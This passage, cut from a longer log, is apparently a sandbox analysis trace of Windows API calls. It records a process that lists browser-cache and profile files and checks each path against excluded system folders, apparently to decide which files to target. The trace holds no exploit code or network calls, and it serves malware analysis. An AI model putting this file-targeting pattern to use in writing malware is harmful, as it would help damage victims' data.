lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", cchLength=0xb9 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm") returned 0xb9 [0120.518] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.521] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", cchLength=0xb9 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm") returned 0xb9 [0120.521] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.521] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", cchLength=0xb9 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm") returned 0xb9 [0120.521] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.521] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", cchLength=0xb9 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm") returned 0xb9 [0120.521] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.521] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\activityi;src=2542116;cat=Chrom00;type=clien612;ord=2366422437621[1].htm", cchLength=0xb9 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\activityi;src=2542116;cat=chrom00;type=clien612;ord=2366422437621[1].htm") returned 0xb9 [0120.521] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.522] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.522] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.522] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.522] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.522] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.522] lstrcpynW (in: lpString1=0x143353c, lpString2="chrome_logo_2x[1].png", iMaxLength=22 | out: lpString1="chrome_logo_2x[1].png") returned="chrome_logo_2x[1].png" [0120.522] GetLastError () returned 0x0 [0120.522] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="娂", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.522] GetLastError () returned 0x0 [0120.522] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.522] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14e19e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14e19e0) returned 0x0 [0120.522] GetLastError () returned 0x0 [0120.523] lstrcpynW (in: lpString1=0x146ad84, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8" [0120.523] GetLastError () returned 0x0 [0120.523] CloseHandle (hObject=0x2c4) returned 1 [0120.523] GetLastError () returned 0x0 [0120.523] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.523] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png", cchLength=0x86 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png") returned 0x86 [0120.523] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.523] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png", cchLength=0x86 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png") returned 0x86 [0120.523] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.523] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png", cchLength=0x86 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png") returned 0x86 [0120.524] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.524] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png", cchLength=0x86 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png") returned 0x86 [0120.524] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.524] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png", cchLength=0x86 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png") returned 0x86 [0120.524] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.524] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png", cchLength=0x86 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png") returned 0x86 [0120.524] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.524] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.524] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.524] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.524] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.524] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.524] lstrcpynW (in: lpString1=0x14b46bc, lpString2="GoogleUpdateTaskMachineUA", iMaxLength=26 | out: lpString1="GoogleUpdateTaskMachineUA") returned="GoogleUpdateTaskMachineUA" [0120.524] GetLastError () returned 0x0 [0120.525] lstrcpynW (in: lpString1=0x143353c, lpString2="cb=gapi[1].loaded_1", iMaxLength=20 | out: lpString1="cb=gapi[1].loaded_1") returned="cb=gapi[1].loaded_1" [0120.525] GetLastError () returned 0x0 [0120.525] lstrcpynW (in: lpString1=0x14b46bc, lpString2="eula-win[1].jpg", iMaxLength=16 | out: lpString1="eula-win[1].jpg") returned="eula-win[1].jpg" [0120.525] GetLastError () returned 0x0 [0120.525] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="娂", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.525] GetLastError () returned 0x0 [0120.525] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.526] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14e19e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14e19e0) returned 0x0 [0120.526] GetLastError () returned 0x0 [0120.526] lstrcpynW (in: lpString1=0x1445ffc, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8" [0120.526] GetLastError () returned 0x0 [0120.526] CloseHandle (hObject=0x2c4) returned 1 [0120.526] GetLastError () returned 0x0 [0120.526] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.526] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg") returned 0x80 [0120.526] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.526] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg") returned 0x80 [0120.527] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.527] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg") returned 0x80 [0120.527] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.527] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg") returned 0x80 [0120.527] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.527] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg") returned 0x80 [0120.527] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.527] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\eula-win[1].jpg", cchLength=0x80 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\eula-win[1].jpg") returned 0x80 [0120.527] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.527] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.527] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.528] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.528] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.528] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.528] lstrcpynW (in: lpString1=0x143353c, lpString2="chrome-new[1].jpg", iMaxLength=18 | out: lpString1="chrome-new[1].jpg") returned="chrome-new[1].jpg" [0120.528] GetLastError () returned 0x0 [0120.528] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="姭", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.528] GetLastError () returned 0x0 [0120.528] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.528] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14e19e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14e19e0) returned 0x0 [0120.528] GetLastError () returned 0x0 [0120.528] lstrcpynW (in: lpString1=0x144bb04, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ", iMaxLength=110 | out: lpString1="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ") returned="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ" [0120.528] GetLastError () returned 0x0 [0120.529] CloseHandle (hObject=0x2c4) returned 1 [0120.529] GetLastError () returned 0x0 [0120.529] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.529] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg", cchLength=0x82 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg") returned 0x82 [0120.529] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0120.529] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg", cchLength=0x82 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg") returned 0x82 [0120.529] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0120.529] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg", cchLength=0x82 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg") returned 0x82 [0120.529] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0120.529] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg", cchLength=0x82 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg") returned 0x82 [0120.530] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0120.530] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg", cchLength=0x82 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg") returned 0x82 [0120.530] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0120.530] CharLowerBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\chrome-new[1].jpg", cchLength=0x82 | out: lpsz="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\chrome-new[1].jpg") returned 0x82 [0120.530] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0120.530] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0120.530] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0120.530] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0120.530] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0120.530] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0120.530] lstrcpynW (in: lpString1=0x146ad84, lpString2="chrome_throbber_fast_16[1].gif\x80", iMaxLength=31 | out: lpString1="chrome_throbber_fast_16[1].gif") returned="chrome_throbber_fast_16[1].gif" [0120.530] GetLastError () returned 0x0 [0120.531] lstrcpynW (in: lpString1=0x14da7ec, lpString2="bootcat.cache", iMaxLength=14 | out: lpString1="bootcat.cache") returned="bootcat.cache" [0120.531] GetLastError () returned 0x0 [0120.531] lstrcpynW (in: lpString1=0x146ad84, lpString2="GoogleInstaller_de[1].application", iMaxLength=34 | out: lpString1="GoogleInstaller_de[1].application") returned="GoogleInstaller_de[1].application" [0120.531] GetLastError () returned 0x0 [0120.531] lstrcpynW (in: lpString1=0x14b46bc, lpString2="OSE00000.EXE-91C55729.pf", iMaxLength=25 | out: lpString1="OSE00000.EXE-91C55729.pf") returned="OSE00000.EXE-91C55729.pf" [0120.531] GetLastError () returned 0x0 [0120.532] lstrcpynW (in: lpString1=0x146ad84, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", iMaxLength=66 | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" [0120.532] GetLastError () returned 0x0 [0120.532] lstrcpynW (in: lpString1=0x1445ffc, lpString2="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", iMaxLength=66 | out: lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E" [0120.532] GetLastError () returned 0x0 [0120.532] lstrcpynW (in: lpString1=0x14da7c4, lpString2="ResCache.hit", iMaxLength=13 | out: lpString1="ResCache.hit") returned="ResCache.hit" [0120.532] GetLastError () returned 0x0 [0120.532] lstrcpynW (in: lpString1=0x14da79c, lpString2="ResCache.hit", iMaxLength=13 | out: lpString1="ResCache.hit") returned="ResCache.hit" [0120.532] GetLastError () returned 0x0 [0120.533] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.533] GetTickCount () returned 0x1150ced [0120.533] GetTickCount () returned 0x1150ced [0120.533] GetTickCount () returned 0x1150ced [0120.533] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.533] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.533] GetTickCount () returned 0x1150ced [0120.533] IsWindowVisible (hWnd=0x30268) returned 0 [0120.533] Sleep (dwMilliseconds=0x0) [0120.536] lstrcpynW (in: lpString1=0x14b46bc, lpString2="TASKENG.EXE-5BAF290C.pf", iMaxLength=24 | out: lpString1="TASKENG.EXE-5BAF290C.pf") returned="TASKENG.EXE-5BAF290C.pf" [0120.536] GetLastError () returned 0x0 [0120.537] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.537] GetTickCount () returned 0x1150cfc [0120.537] GetTickCount () returned 0x1150cfc [0120.537] GetTickCount () returned 0x1150cfc [0120.537] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.537] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.537] GetTickCount () returned 0x1150cfc [0120.537] IsWindowVisible (hWnd=0x30268) returned 0 [0120.537] Sleep (dwMilliseconds=0x0) [0120.538] lstrcpynW (in: lpString1=0x14b48fc, lpString2="WindowsUpdate.log", iMaxLength=18 | out: lpString1="WindowsUpdate.log") returned="WindowsUpdate.log" [0120.538] GetLastError () returned 0x0 [0120.538] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ȗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x2c4, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0120.538] GetLastError () returned 0x0 [0120.538] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0120.538] NtQueryInformationFile (in: FileHandle=0x2c4, IoStatusBlock=0x18eb08, FileInformation=0x14e19e0, Length=0x10002, FileInformationClass=0x9 | out: IoStatusBlock=0x18eb08, FileInformation=0x14e19e0) returned 0x0 [0120.538] GetLastError () returned 0x0 [0120.538] lstrcpynW (in: lpString1=0x146ad84, lpString2="\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows", iMaxLength=60 | out: lpString1="\\Users\\5p5NrGJn0jS 